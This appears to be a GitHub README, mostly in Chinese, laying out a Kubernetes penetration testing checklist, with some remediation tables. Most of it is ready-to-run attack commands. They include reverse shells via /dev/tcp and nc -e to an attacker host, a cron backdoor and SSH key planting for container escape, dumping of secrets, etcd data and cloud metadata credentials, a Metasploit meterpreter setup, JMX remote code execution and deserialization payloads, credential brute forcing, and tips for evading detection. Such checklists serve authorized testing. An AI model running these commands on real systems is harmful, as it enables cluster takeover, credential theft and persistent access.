muzuix/Kubernetes-Pentest-Checklist
GitHub: muzuix/Kubernetes-Pentest-Checklist
一份涵盖从侦察到容器逃逸、提权及云元数据滥用的Kubernetes渗透测试全面实战指南与检查清单。
Stars: 1 | Forks: 0
```
██╗ ██╗ █████╗ ██████╗ ███████╗███╗ ██╗████████╗███████╗███████╗████████╗
██║ ██╔╝██╔══██╗ ██╔══██╗██╔════╝████╗ ██║╚══██╔══╝██╔════╝██╔════╝╚══██╔══╝
█████╔╝ ╚█████╔╝ ██████╔╝█████╗ ██╔██╗ ██║ ██║ █████╗ ███████╗ ██║
██╔═██╗ ██╔══██╗ ██╔═══╝ ██╔══╝ ██║╚██╗██║ ██║ ██╔══╝ ╚════██║ ██║
██║ ██╗╚█████╔╝ ██║ ███████╗██║ ╚████║ ██║ ███████╗███████║ ██║
╚═╝ ╚═╝ ╚════╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝╚══════╝ ╚═╝
```
### ☸️ Kubernetes 渗透测试清单 — 从初级到高级 ☸️





## 📖 目录
- [为什么这份清单脱颖而出](#-why-this-checklist-stands-out)
- [架构概述](#-kubernetes-architecture--attack-surface)
- [阶段 1 — 侦察](#-phase-1--reconnaissance)
- [阶段 2 — API Server 与控制平面](#-phase-2--api-server--control-plane)
- [阶段 3 — RBAC 与权限提升](#-phase-3--rbac--privilege-escalation)
- [阶段 4 — Pod 安全与容器逃逸](#-phase-4--pod-security--container-escape)
- [阶段 5 — 网络策略与东西向移动](#-phase-5--network-policies--east-west-movement)
- [阶段 6 — Secrets 管理](#-phase-6--secrets-management)
- [阶段 7 — etcd 攻击](#-phase-7--etcd-attacks)
- [阶段 8 — 节点与 Kubelet 攻击](#-phase-8--node--kubelet-attacks)
- [阶段 9 — 供应链与镜像安全](#-phase-9--supply-chain--image-security)
- [阶段 10 — 云元数据与 IAM 滥用](#-phase-10--cloud-metadata--iam-abuse)
- [阶段 11 — Pod 中的 JMX 利用 ⭐](#-phase-11--jmx-exploitation-in-pods-real-world)
- [阶段 12 — Ingress 与 Service 暴露](#-phase-12--ingress--service-exposure)
- [阶段 13 — 审计日志与检测规避](#-phase-13--audit-logs--detection-evasion)
- [工具库](#-tools-arsenal)
- [报告模板](#-reporting-template)
- [参考文献](#-references)
## 🎯 为什么这份清单脱颖而出
大多数清单只告诉你检查**什么**。而这份清单会告诉你:
- ✅ 测试**什么**
- ✅ **如何**测试(具体命令)
- ✅ **为什么**它很危险(影响)
- ✅ 在输出中**寻找什么**
- ✅ **如何修复**它
- ✅ 来自实际 Pod 渗透测试的**真实 JMX 发现**
## 🏗️ Kubernetes 架构与攻击面
```
┌─────────────────────────────────────────────┐
│ CONTROL PLANE │
│ ┌──────────┐ ┌──────┐ ┌──────────────┐ │
External Attacker ───▶│ │API Server│ │ etcd │ │ Scheduler │ │
│ └──────────┘ └──────┘ └──────────────┘ │
└──────────────────┬──────────────────────────┘
│ kubelet
┌──────────────────▼──────────────────────────┐
│ NODES │
│ ┌───────────────────────────────────────┐ │
│ │ Pod A │ Pod B │ Pod C │ │
│ │ [JMX:9010]│ [App] │ [Sidecar] │ │
│ └───────────────────────────────────────┘ │
└─────────────────────────────────────────────┘
Attack Vectors:
[1] Exposed API Server [5] Privileged Pods / HostPath Mounts
[2] Unauthenticated etcd [6] Service Account Token Abuse
[3] Weak RBAC [7] Exposed JMX Ports in Pods ← (Phase 11)
[4] Container Escape [8] Cloud Metadata SSRF
```
## 🔍 阶段 1 — 侦察
### 1.1 外部发现(黑盒)
**目标:** 从互联网发现暴露的 Kubernetes 端点。
```
# 扫描常见 Kubernetes 端口
nmap -sV -p 6443,8443,8080,10250,10255,2379,2380,30000-32767
# 在 Shodan 中搜索暴露的集群
# shodan.io 搜索: "product:kubernetes" port:6443
# shodan.io 搜索: "kubernetes" port:10250
# 被动 DNS / 证书透明度
curl -s "https://crt.sh/?q=%.yourtarget.com&output=json" | jq '.[].name_value' | sort -u
# GitHub dork 搜索泄露的 kubeconfig
# GitHub 搜索: filename:kubeconfig cluster.server
# GitHub 搜索: filename:.kube/config
# GitHub 搜索: "kubernetes.io" extension:yaml "token:"
```
**寻找什么:**
- 端口 `6443` / `8443` → API Server
- 端口 `10250` → Kubelet API(如果开放将非常危险)
- 端口 `10255` → Kubelet 只读端口(已弃用但有时仍存在)
- 端口 `2379` → etcd
- 端口 `30000–32767` → NodePort 服务
### 1.2 识别集群版本与组件
```
# 获取服务器版本(配置错误的集群不需要认证)
curl -sk https://:6443/version
# 检查是否启用了匿名访问
curl -sk https://:6443/api/v1/namespaces
# 使用 kubectl
kubectl version --short
kubectl cluster-info
# 检查有哪些可用的 API
kubectl api-versions
kubectl api-resources --verbs=list --namespaced=false
```
**风险:** 版本披露有助于识别已知的 CVE(例如,针对 Windows 节点的 CVE-2024-9042)。
### 1.3 从 Pod 内部枚举(初始访问后)
```
# 检查你是否在 pod 中
cat /var/run/secrets/kubernetes.io/serviceaccount/token
env | grep -i kube
# 获取 service account token 和 CA cert
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
# 测试你可以访问的内容
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/pods
# 内部网络枚举
cat /etc/resolv.conf # Find cluster DNS domain
cat /etc/hosts
env | grep -i service # Find other services via env injection
```
## 🔐 阶段 2 — API Server 与控制平面
### 2.1 匿名访问检查
```
# 检查匿名身份验证(严重的配置错误)
curl -sk https://:6443/api/v1/pods
curl -sk https://:6443/api/v1/secrets
curl -sk https://:6443/apis/apps/v1/deployments
# 预期的安全响应:
# {"kind":"Status","status":"Failure","reason":"Forbidden","code":403}
# 危险的响应(配置错误):
# {"kind":"PodList","items":[...]} ← 匿名用户可以列出 pod!
```
**修复:** 确保在 API Server 上设置了 `--anonymous-auth=false`。
### 2.2 API Server 错误配置检查
```
# 检查不安全端口(在现代集群中应被禁用)
curl http://:8080/api/v1/pods
# 检查是否启用了审计日志
kubectl get pods -n kube-system | grep kube-apiserver
kubectl exec -n kube-system -- kube-apiserver --help | grep audit
# 检查 admission controllers
kubectl get pods -n kube-system -o yaml | grep enable-admission-plugins
# 检查是否强制执行 PodSecurityPolicy / PSA
kubectl get psp # Legacy PSP
kubectl get ns --show-labels # Check for PSA labels (pod-security.kubernetes.io/enforce)
```
### 2.3 Dashboard 暴露
```
# 检查暴露的 Kubernetes Dashboard
curl http://:8001/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
# 存在跳过按钮? → 身份验证已禁用(严重)
# 检查带有 --enable-skip-login 标志的 dashboard
# 常见的 dashboard 端点
http://:8001/
http://:30000/ # NodePort
https://:8443/
```
**影响:** 未经身份验证的 Dashboard 在许多默认部署中会提供 cluster-admin 访问权限。
## 👑 阶段 3 — RBAC 与权限提升
### 3.1 枚举当前权限
```
# 当前的 service account 能做什么?
kubectl auth can-i --list
kubectl auth can-i --list --namespace=kube-system
# 检查特定权限
kubectl auth can-i create pods
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
# 枚举所有 service account
kubectl get serviceaccounts --all-namespaces
kubectl get clusterrolebindings -o wide
kubectl get rolebindings --all-namespaces -o wide
```
### 3.2 危险的 RBAC 权限(提权路径)
以下每个权限都是一个潜在的权限提升向量:
| 权限 | 风险 | 提权方法 |
|------------|------|-------------------|
| `create pods` | 🔴 严重 | 挂载特权 SA,逃逸至节点 |
| `patch/update deployments` | 🔴 严重 | 注入恶意容器 |
| `create/patch daemonsets` | 🔴 严重 | 在每个节点上运行 |
| `get secrets` | 🔴 严重 | 读取所有 Secret,包括 token |
| `bind clusterroles` | 🔴 严重 | 将 cluster-admin 绑定到自身 |
| `create serviceaccounts` | 🟠 高危 | 创建 SA + 绑定特权角色 |
| `exec pods` | 🟠 高危 | 在特权 Pod 中执行命令 |
| `impersonate users` | 🟠 高危 | 伪装成其他用户/SA |
| `patch nodes` | 🟡 中危 | 污染节点,影响调度 |
```
# 检查危险权限(自动化)
# 工具: kubectl-who-can
kubectl who-can create pods
kubectl who-can get secrets -n kube-system
# 工具: rbac-tool
kubectl rbac-tool lookup system:anonymous
kubectl rbac-tool policy-rules -e ""
# 手动:查找所有具有 get secrets 权限的 subjects
kubectl get clusterrolebindings -o json | jq -r '
.items[] |
select(.roleRef.name == "cluster-admin") |
.subjects[]? |
"\(.kind)/\(.name)"'
```
### 3.3 通过创建 Pod 进行权限提升
```
# 如果你有 'create pods' 权限 → 提权至 cluster-admin
# 步骤 1:查找具有特权的 service account
kubectl get serviceaccounts -n kube-system
kubectl get clusterrolebindings | grep -i admin
# 步骤 2:创建一个挂载了特权 SA token 的 pod
cat < -n --patch '
{
"spec": {
"template": {
"spec": {
"containers": [{
"name": "injected",
"image": "alpine",
"command": ["/bin/sh", "-c", "nc 4444 -e /bin/sh"]
}]
}
}
}
}'
```
## 🐳 阶段 4 — Pod 安全与容器逃逸
### 4.1 识别特权 Pod
```
# 查找所有特权 pod
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.containers[].securityContext.privileged == true) |
"\(.metadata.namespace)/\(.metadata.name)"'
# 查找带有 hostPath 挂载的 pod
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.volumes[]?.hostPath != null) |
"\(.metadata.namespace)/\(.metadata.name): \(.spec.volumes[].hostPath.path // empty)"'
# 查找以 root 身份运行的 pod
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select((.spec.securityContext.runAsUser == 0) or (.spec.containers[].securityContext.runAsUser == 0)) |
"\(.metadata.namespace)/\(.metadata.name)"'
# 查找带有 hostNetwork / hostPID / hostIPC 的 pod
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.hostNetwork == true or .spec.hostPID == true or .spec.hostIPC == true) |
"\(.metadata.namespace)/\(.metadata.name) hostNetwork=\(.spec.hostNetwork) hostPID=\(.spec.hostPID)"'
```
### 4.2 容器逃逸 — 特权容器
```
# 如果在特权容器内:
# 方法 1:挂载宿主机文件系统
mkdir /tmp/hostmount
mount /dev/sda1 /tmp/hostmount # Adjust device name
chroot /tmp/hostmount /bin/bash
# 你现在拥有了完整的宿主机 root 访问权限
# 方法 2:使用 nsenter 逃逸到宿主机
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# PID 1 = 宿主机 init 进程
# 方法 3:向宿主机写入 SSH 密钥
mkdir -p /tmp/hostmount/root/.ssh
echo "ssh-rsa YOUR_PUBLIC_KEY" >> /tmp/hostmount/root/.ssh/authorized_keys
```
### 4.3 容器逃逸 — hostPath 挂载
```
# 如果一个 pod 通过 hostPath 挂载了宿主机的 /etc 或 /:
kubectl exec -it -- ls /host-etc
kubectl exec -it -- cat /host-etc/shadow
# 在宿主机上写一个 cron job
kubectl exec -it -- bash -c \
"echo '* * * * * root bash -i >& /dev/tcp//4444 0>&1' >> /host-etc/cron.d/backdoor"
```
### 4.4 容器逃逸 — Docker Socket
```
# 查找挂载了 docker.sock 的 pod
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.volumes[]?.hostPath.path == "/var/run/docker.sock") |
"\(.metadata.namespace)/\(.metadata.name)"'
# 如果 docker.sock 挂载在容器内则进行利用
ls -la /var/run/docker.sock
# 通过宿主机上的 docker daemon 创建一个特权容器
docker -H unix:///var/run/docker.sock run -it \
--privileged \
--pid=host \
--net=host \
-v /:/host \
alpine chroot /host
```
### 4.5 CVE-2022-0185 / 内核漏洞利用
```
# 检查内核版本以寻找已知漏洞利用
uname -r
# 检查容器内的 capabilities
capsh --print
cat /proc/self/status | grep Cap
capsh --decode=
# 危险的 capabilities:
# CAP_SYS_ADMIN → 最强大,有许多逃逸技术
# CAP_NET_ADMIN → 网络操纵
# CAP_SYS_PTRACE → 附加到宿主机进程
```
## 🌐 阶段 5 — 网络策略与东西向移动
### 5.1 检查网络策略执行情况
```
# 是否有任何 network policies?
kubectl get networkpolicies --all-namespaces
# 没有输出 = 允许所有 pod 到 pod 的流量(扁平网络)
# 这意味着你可以从任何 pod 访问任何 pod
# 从 pod 内部,扫描内部服务
# 首先安装工具:
apt-get install -y nmap netcat curl 2>/dev/null || apk add nmap netcat-openbsd curl
# 扫描集群 IP 范围
nmap -sn 10.0.0.0/8 --open -T4
# 通过 DNS 查找服务
nslookup kubernetes.default.svc.cluster.local
# 通过猜测名称枚举服务
for svc in api dashboard db redis mysql postgres mongo; do
nslookup $svc.default.svc.cluster.local 2>/dev/null && echo "FOUND: $svc"
done
```
### 5.2 Service Account Token 中继
```
# 从一个被攻陷的 pod,使用它的 SA token 进行渗透
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
# 列出同一 namespace 中的 pod
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NS/pods
# 如果你有 pods/exec 权限,Exec 进入其他 pod
curl -sk -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NS/pods//exec \
-d '{"command":["id"],"stdin":false,"stdout":true,"stderr":true,"tty":false}'
```
## 🔑 阶段 6 — Secrets 管理
### 6.1 提取 Secrets
```
# 列出所有 secrets(如果允许)
kubectl get secrets --all-namespaces
kubectl get secret -o jsonpath='{.data}' | jq -r 'to_entries[] | "\(.key): \(.value | @base64d)"'
# 导出所有 namespace 中的所有 secrets
kubectl get secrets --all-namespaces -o json | \
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data | to_entries[] | "\(.key)=\(.value | @base64d)")"'
# 查找挂载在 pod 中的 secrets
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
"\(.metadata.namespace)/\(.metadata.name)" as $pod |
.spec.volumes[]? |
select(.secret != null) |
"\($pod) mounts secret: \(.secret.secretName)"'
```
### 6.2 在环境变量中查找凭证
```
# 列出 pod 中的所有 env vars(寻找密码、token、密钥)
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
"\(.metadata.namespace)/\(.metadata.name)" as $pod |
.spec.containers[].env[]? |
select(.value != null) |
select(.name | test("PASS|SECRET|TOKEN|KEY|API|CRED"; "i")) |
"\($pod): \(.name)=\(.value)"'
```
## 🗄️ 阶段 7 — etcd 攻击
### 7.1 未经身份验证的 etcd 访问
```
# 检查 etcd 是否可以在没有 TLS 的情况下访问
curl http://:2379/version
# 使用 etcdctl(无认证)
etcdctl --endpoints=http://:2379 get / --prefix --keys-only
# 导出存储在 etcd 中的所有 secrets(如果可访问则是灾难性的)
etcdctl --endpoints=http://:2379 get / --prefix | grep -A1 "/secrets/"
# 专门导出 service account token
etcdctl --endpoints=http://:2379 get /registry/secrets --prefix
```
**影响:** etcd 以明文形式存储每个 Kubernetes 对象(除非启用了静态加密)。未经身份验证的访问 = 集群完全沦陷。
### 7.2 带有 TLS 的 etcd(需要证书)
```
# 如果你有证书(例如,来自被攻陷的 master node):
etcdctl --endpoints=https://:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
get / --prefix --keys-only
# 提取特定的 secret
etcdctl ... get /registry/secrets/default/my-secret
```
## 🖥️ 阶段 8 — 节点与 Kubelet 攻击
### 8.1 Kubelet API (端口 10250)
```
# 检查对 kubelet 的匿名访问
curl -sk https://:10250/pods
# 通过 kubelet 在容器中运行命令(如果配置错误则不需要认证)
curl -sk https://:10250/run/// \
-d "cmd=id"
# 从任何容器获取日志
curl -sk https://:10250/logs/
# 列出此节点上的所有 pod
curl -sk https://:10250/pods | jq '.items[].metadata.name'
```
### 8.2 Kubelet 只读端口 (端口 10255)
```
# 只读 kubelet(如果仍然启用)
curl http://:10255/pods
curl http://:10255/metrics
curl http://:10255/spec/
# 信息泄露:Pod 名称、images、env vars、volume mounts
```
## 📦 阶段 9 — 供应链与镜像安全
### 9.1 镜像扫描
```
# 扫描 images 以查找 CVE
trivy image :
trivy image --severity HIGH,CRITICAL :
# Grype 扫描器
grype :
# 检查特权基础 images 或已知易受攻击的版本
docker history
docker inspect
# 扫描集群中运行的所有 images
kubectl get pods --all-namespaces -o json | \
jq -r '.items[].spec.containers[].image' | \
sort -u | \
while read img; do echo "=== $img ==="; trivy image --severity CRITICAL "$img" 2>/dev/null; done
```
### 9.2 Registry 访问与镜像篡改
```
# 在 imagePullSecrets 中查找 registry 凭据
kubectl get secrets --all-namespaces -o json | \
jq -r '.items[] | select(.type == "kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d'
# 检查 registry 是否允许公共拉取(无身份验证)
curl https:///v2/_catalog
curl https:///v2//tags/list
# 检查 image tag 变动(pull always vs IfNotPresent)
kubectl get pods --all-namespaces -o json | \
jq -r '.items[].spec.containers[] | select(.imagePullPolicy != "Always") | .image'
```
## ☁️ 阶段 10 — 云元数据与 IAM 滥用
### 10.1 AWS 元数据服务 (IMDS)
```
# 从 AWS EKS 的 pod 内部:
# IMDSv1(不需要 token —— 如果未禁用则非常严重)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 获取 instance role 名称
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
echo "Role: $ROLE"
# 获取临时 AWS 凭据
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
# 返回: AccessKeyId, SecretAccessKey, Token
# 使用凭据枚举 AWS
AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_SESSION_TOKEN= \
aws sts get-caller-identity
# KIAM / IRSA 滥用 —— 获取 pod 分配的角色
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
### 10.2 GCP 元数据 (GKE)
```
# 从 GKE 的 pod 内部
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# 列出 service account 范围
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
# 获取项目信息
curl -s -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/project-id
```
### 10.3 Azure 元数据 (AKS)
```
# 从 AKS 的 pod 内部
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
## ☕ 阶段 11 — Pod 中的 JMX 利用(实战)
### 什么是 JMX,为什么它在 Kubernetes 中很危险?
Java 管理扩展 (JMX) 被 Java 应用程序用于暴露管理和监控功能。当配置错误时,JMX 端点允许**未经身份验证的远程代码执行 (RCE)**——而在 Kubernetes 中,开发人员经常在没有意识到的情况下暴露这些端口,因为:
1. 他们使用 `-Dcom.sun.management.jmxremote` JVM 标志进行本地调试
2. 他们在构建容器镜像之前忘记将其移除
3. 在 Kubernetes 中,那个“本地”端口通过 Pod IP 变成了集群内可访问的
4. 如果没有强制执行 NetworkPolicy,集群中的**任何 Pod** 都可以访问它
### 11.1 发现 Kubernetes Pod 中的 JMX
```
# 步骤 1:查找 Java pod(可能是 JMX 候选目标)
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
select(.spec.containers[].image | test("java|spring|tomcat|jboss|wildfly|kafka|zookeeper|cassandra|elasticsearch|jenkins"; "i")) |
"\(.metadata.namespace)/\(.metadata.name): \(.spec.containers[].image)"'
# 步骤 2:检查与 JMX 相关的 environment variables
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
"\(.metadata.namespace)/\(.metadata.name)" as $pod |
.spec.containers[].env[]? |
select(.value != null) |
select(.value | test("jmxremote|jmx|rmi"; "i")) |
"\($pod): \(.name)=\(.value)"'
# 步骤 3:检查 pod specs 中暴露的端口(JMX 默认:9010, 1099, 7199, 9012)
kubectl get pods --all-namespaces -o json | jq -r '
.items[] |
"\(.metadata.namespace)/\(.metadata.name)" as $pod |
.spec.containers[].ports[]? |
select(.containerPort | IN(9010, 1099, 7199, 9012, 9999, 5555, 8686)) |
"\($pod): port \(.containerPort)"'
# 步骤 4:检查 Java pod 内运行的进程
kubectl exec -n -- sh -c "ps aux | grep jmx"
kubectl exec -n -- sh -c "cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep jmx"
```
### 11.2 确认 JMX 暴露
```
# 获取 pod IP
kubectl get pod -n -o jsonpath='{.status.podIP}'
# 示例输出: 10.244.1.45
# 从集群中的另一个 pod,测试连通性
nc -zv 10.244.1.45 9010 # Check if JMX RMI port is open
nmap -sV -p 9010 10.244.1.45 # Confirm service type
# 预期的 banner:
# "JDWP-Handshake" 或 RMI protocol 响应
```
### 11.3 在无身份验证下枚举 JMX (beanshooter)
```
# 安装 beanshooter(最好的现代 JMX 工具)
wget https://github.com/qtc-de/beanshooter/releases/latest/download/beanshooter.jar
# 枚举 JMX service
java -jar beanshooter.jar enum 10.244.1.45 9010
# 列出所有已注册的 MBean
java -jar beanshooter.jar list 10.244.1.45 9010
# 获取特定 MBean 的信息
java -jar beanshooter.jar info 10.244.1.45 9010 java.lang:type=Runtime
# 通过 DiagnosticCommandMBean 从服务器读取文件
java -jar beanshooter.jar diagnostic read 10.244.1.45 9010 /etc/passwd
# 检查危险的默认 MBean
java -jar beanshooter.jar list 10.244.1.45 9010 | grep -i "MLet\|Diagnostic\|HotSpot\|Compiler"
```
### 11.4 通过 MLet 进行 RCE(无需身份验证)
这是最常见且影响最大的 JMX 攻击向量——当 `authenticate=false` 时起作用。
```
# 方法 1:使用 beanshooter(最简单)
# 部署恶意的 MBean 以进行 RCE
java -jar beanshooter.jar tonka deploy 10.244.1.45 9010
# 执行命令
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- id
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- "cat /etc/passwd"
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- "env"
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- "cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# 上传文件
java -jar beanshooter.jar tonka upload 10.244.1.45 9010 /tmp/payload /remote/path
# 方法 2:使用 mjet (Python/Jython)
# https://github.com/mogwailabs/mjet
jython mjet.py 10.244.1.45 9010 install super_secret http://:8000 8000
jython mjet.py 10.244.1.45 9010 --password super_secret execute "id"
# 方法 3:Metasploit 模块
msf> use exploit/multi/misc/java_jmx_server
msf> set RHOSTS 10.244.1.45
msf> set RPORT 9010
msf> set LHOST
msf> set PAYLOAD java/meterpreter/reverse_tcp
msf> exploit
```
### 11.5 通过 StandardMBean / RequiredModelMBean 进行 RCE(身份验证绕过技术)
```
# 现代技术 —— 甚至在限制了 MLet 的较新 JVM 上也有效
# 参考: https://code-white.com/blog/2023-03-jmx-exploitation-revisited/
# 使用 beanshooter 序列化攻击(反序列化)
java -jar beanshooter.jar serial 10.244.1.45 9010 CommonsCollections6 "touch /tmp/pwned"
# 检查可用的 gadget chains(需要 ysoserial)
java -jar beanshooter.jar serial 10.244.1.45 9010 --list
```
### 11.6 带有身份验证的 JMX — 暴力破解
```
# 尝试默认凭据
# 常见默认值: monitorRole/QED, controlRole/R&D, admin/admin, manager/manager
java -jar beanshooter.jar brute 10.244.1.45 9010 \
--user-list users.txt \
--password-list passwords.txt
# 使用 jconsole 的手动方法 (GUI)
jconsole 10.244.1.45:9010
# 尝试默认的 JMX 密码
for creds in "monitorRole:QED" "controlRole:R&D" "admin:admin" "manager:manager" "tomcat:tomcat"; do
user=$(echo $creds | cut -d: -f1)
pass=$(echo $creds | cut -d: -f2)
java -jar beanshooter.jar list 10.244.1.45 9010 --username $user --password $pass 2>/dev/null && \
echo "[+] VALID CREDS: $user:$pass" || echo "[-] Failed: $user:$pass"
done
```
### 11.7 通过 JMX 进行后渗透
一旦你通过 JMX 在 Pod 内获得了 RCE:
```
# 1. 获取 Kubernetes service account token(渗透到 K8s API)
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- \
"cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# 2. 窃取 environment variables(DB 凭据、API 密钥)
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- env
# 3. 从此 pod 进行内部网络扫描(新的渗透点)
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- \
"for i in $(seq 1 254); do nc -z -w1 10.244.1.$i 9010 && echo 10.244.1.$i; done"
# 4. 读取应用程序配置文件
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- \
"cat /app/config/application.properties"
# 5. 部署反向 shell
java -jar beanshooter.jar tonka exec 10.244.1.45 9010 -- \
"bash -c 'bash -i >& /dev/tcp//4444 0>&1'"
```
### 11.8 通过 Jolokia HTTP 桥接的 JMX
一些应用程序通过 [Jolokia](https://jolokia.org/) 经由 HTTP 暴露 JMX。这在 Spring Boot 应用程序中越来越常见。
```
# 检查 Jolokia endpoint
curl http://:8080/jolokia/
curl http://:8080/actuator/jolokia
curl http://:8778/jolokia/
# 通过 Jolokia 列出所有 MBean
curl http://:8080/jolokia/list
# 读取属性
curl "http://:8080/jolokia/read/java.lang:type=Runtime/ClassPath"
# 执行操作(示例:通过 DiagnosticCommand 读取文件)
curl -X POST http://:8080/jolokia/ \
-H "Content-Type: application/json" \
-d '{"type":"exec","mbean":"com.sun.management:type=DiagnosticCommand","operation":"compilerDirectivesAdd","arguments":["/etc/passwd"]}'
# 用于 Jolokia 利用的工具
# jolokia-exploitation-toolkit: https://github.com/laluka/jolokia-exploitation-toolkit
python3 jolokia-exploitation-toolkit/main.py -u http://:8080/jolokia --cmd "id"
```
### 11.9 JMX 修复方案
| 修复方案 | 实施 |
|-----|----------------|
| **在生产环境中禁用 JMX** | 移除 `-Dcom.sun.management.jmxremote` JVM 标志 |
| **启用身份验证** | `-Dcom.sun.management.jmxremote.authenticate=true` |
| **启用 SSL** | `-Dcom.sun.management.jmxremote.ssl=true` |
| **绑定到 localhost** | `-Djava.rmi.server.hostname=127.0.0.1` |
| **使用 NetworkPolicy** | 阻断 Pod 之间对 JMX 端口的访问 |
| **不要将其暴露为 Service** | 切勿为 JMX 端口创建 K8s Service |
| **在生产环境中禁用 Jolokia** | 设置 `management.endpoint.jolokia.enabled=false` |
## 🔀 阶段 12 — Ingress 与 Service 暴露
### 12.1 Ingress 错误配置
```
# 列出所有 ingress
kubectl get ingress --all-namespaces
# 检查通配符主机或缺少身份验证的情况
kubectl get ingress --all-namespaces -o json | jq -r '
.items[] |
"\(.metadata.namespace)/\(.metadata.name)" as $ing |
.spec.rules[].host // "*" |
"\($ing): \(.)"'
# CVE-2021-25742: Nginx ingress annotation 注入
# 检查 ingress 对象上的 annotations
kubectl get ingress --all-namespaces -o json | jq -r '
.items[] |
select(.metadata.annotations | to_entries[]? | .key | test("nginx.ingress.kubernetes.io")) |
"\(.metadata.namespace)/\(.metadata.name): \(.metadata.annotations)"'
# CVE-2025-1097 / CVE-2025-1098 (ingress-nginx 2025)
kubectl get pods -n ingress-nginx -o json | jq -r '.items[].spec.containers[].image'
```
### 12.2 NodePort / LoadBalancer 暴露
```
# 查找所有外部暴露的 services
kubectl get services --all-namespaces | grep -E "NodePort|LoadBalancer"
# 检查暴露的 NodePorts 上的内容
kubectl get services --all-namespaces -o json | jq -r '
.items[] |
select(.spec.type == "NodePort") |
"\(.metadata.namespace)/\(.metadata.name): \(.spec.ports[].nodePort)"'
```
## 🕵️ 阶段 13 — 审计日志与检测规避
### 13.1 检查正在记录的内容
```
# 检查审计策略
kubectl exec -n kube-system -- cat /etc/kubernetes/audit-policy.yaml
# 应该被记录的关键事项:
# - 对 secrets 的所有写入
# - 对 pod 的所有 exec
# - 身份验证失败
# - ClusterRoleBinding 更改
```
### 13.2 低噪声测试技术
```
# 首先使用只读操作以避免触发警报
kubectl auth can-i --list # Read-only enumeration
kubectl get pods --all-namespaces # No writes
# 避免常见的 IDS 模式:
# - 不要不必要的 exec 进入 kube-system pod
# - 避免从 pod 内部运行 nmap(异常的 syscall 模式)
# - 不要在 kube-system namespace 中创建 pod(高信号警报)
# 使用 dry-run 在不写入的情况下测试权限
kubectl create clusterrolebinding test --clusterrole=cluster-admin --serviceaccount=default:default --dry-run=client
```
## 🛠️ 工具库
| 类别 | 工具 | 用例 |
|----------|------|----------|
| **枚举** | [kubectl](https://kubernetes.io/docs/tasks/tools/) | 主力 CLI |
| **枚举** | [kubeaudit](https://github.com/Shopify/kubeaudit) | 自动化安全审计 |
| **RBAC** | [rbac-tool](https://github.com/alcideio/rbac-tool) | RBAC 可视化与分析 |
| **RBAC** | [kubectl-who-can](https://github.com/aquasecurity/kubectl-who-can) | 查找谁可以执行什么操作 |
| **漏洞利用** | [peirates](https://github.com/inguardians/peirates) | K8s 枢纽与提权 |
| **漏洞利用** | [kubeletctl](https://github.com/cyberark/kubeletctl) | Kubelet API 漏洞利用 |
| **容器逃逸** | [deepce](https://github.com/stealthcopter/deepce) | 容器逃逸枚举 |
| **扫描** | [kube-bench](https://github.com/aquasecurity/kube-bench) | CIS 基准扫描 |
| **扫描** | [trivy](https://github.com/aquasecurity/trivy) | 镜像与配置扫描 |
| **扫描** | [kubesec](https://kubesec.io/) | 安全风险分析 |
| **网络** | [netcat / nmap] | 内网侦察 |
| **JMX** | [beanshooter](https://github.com/qtc-de/beanshooter) | JMX 枚举与漏洞利用 |
| **JMX** | [mjet](https://github.com/mogwailabs/mjet) | JMX 漏洞利用工具包 |
| **JMX** | [jconsole](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/jconsole.html) | JMX GUI 浏览器 |
